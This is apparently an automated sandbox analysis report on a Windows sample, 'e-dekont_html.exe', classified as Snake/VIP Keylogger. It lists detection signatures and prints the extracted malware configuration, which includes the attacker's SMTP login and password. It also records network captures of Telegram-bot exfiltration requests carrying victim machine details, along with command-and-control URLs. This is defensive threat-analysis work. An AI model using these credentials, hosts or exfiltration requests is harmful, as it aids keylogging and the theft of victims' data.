Windows Analysis Report
e-dekont_html.exe

Overview

General Information

Sample name: e-dekont_html.exe
Analysis ID: 1559103
MD5: 3c1d34a25a8b8a96896e746f13c346bf
SHA1: 31c17eebffbcb57a3a833c99541748e508d82714
SHA256: 7bd9596f753e58ba917ba418c191af8fcb9b537e73ee6a86989960099585394f
Tags: exegeoMassLoggerTURuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Scheduled temp file as task from temp location
Yara detected AntiVM3
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Contains functionality to capture screen (.Net source)
Contains functionality to log keystrokes (.Net Source)
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses schtasks.exe or at.exe to add and modify task schedules
Uses the Telegram API (likely for C&C communication)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Schtasks From Env Var Folder
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
404 Keylogger, Snake Keylogger Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

AV Detection
barindex
Found malware configuration
Source: 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "royallog@tonicables.top", "Password": "7213575aceACE@@ ", "Host": "mail.tonicables.top", "Port": "587", "Version": "4.4"}
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "royallog@tonicables.top", "Password": "7213575aceACE@@ ", "Host": "mail.tonicables.top", "Port": "587", "Version": "4.4"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Virustotal: Detection: 67% Perma Link
Multi AV Scanner detection for submitted file
Source: e-dekont_html.exe ReversingLabs: Detection: 63%
Source: e-dekont_html.exe Virustotal: Detection: 67% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: e-dekont_html.exe Joe Sandbox ML: detected

Location Tracking
barindex
Tries to detect the country of the analysis system (by using the IP)
Source: unknown DNS query: name: reallyfreegeoip.org
Uses 32bit PE files
Source: e-dekont_html.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.0
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.0
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:61282 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:61290 version: TLS 1.2
Source: e-dekont_html.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: bbvK.pdbSHA256 source: e-dekont_html.exe, fahKSvwo.exe.0.dr
Source: Binary string: bbvK.pdb source: e-dekont_html.exe, fahKSvwo.exe.0.dr
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 4x nop then jmp 076B51BCh 0_2_076B4965
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 4x nop then jmp 02BEF8E9h 8_2_02BEF631
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 4x nop then jmp 02BEFD41h 8_2_02BEFA88
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 4x nop then jmp 07254434h 9_2_07253BDD
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 4x nop then jmp 0159F8E9h 13_2_0159F631
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 4x nop then jmp 0159FD41h 13_2_0159FA88

Networking
barindex
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Yara detected Generic Downloader
Source: Yara match File source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%2020/11/2024%20/%2016:24:40%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%2020/11/2024%20/%2017:43:06%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
May check the online IP address of the machine
Source: unknown DNS query: name: checkip.dyndns.org
Source: unknown DNS query: name: reallyfreegeoip.org
Source: unknown DNS query: name: reallyfreegeoip.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49741 -> 193.122.130.0:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49749 -> 193.122.130.0:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49738 -> 193.122.130.0:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49733 -> 193.122.130.0:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49739 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49765 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49745 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49759 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49760 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:61283 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49746 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49752 -> 188.114.96.3:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.0
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.0
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%2020/11/2024%20/%2016:24:40%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%2020/11/2024%20/%2017:43:06%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Nov 2024 06:52:27 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Nov 2024 06:52:32 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://aborters.duckdns.org:8081
Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anotherarmy.dns.army:8081
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/
Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/q
Source: e-dekont_html.exe, 00000000.00000002.1769422089.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 00000009.00000002.1839101508.0000000002D05000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: e-dekont_html.exe, fahKSvwo.exe.0.dr String found in binary or memory: http://tempuri.org/project_mgtDataSet.xsdOproject_mgt_system.Properties.Resources
Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://varders.kozow.com:8081
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fonts.com
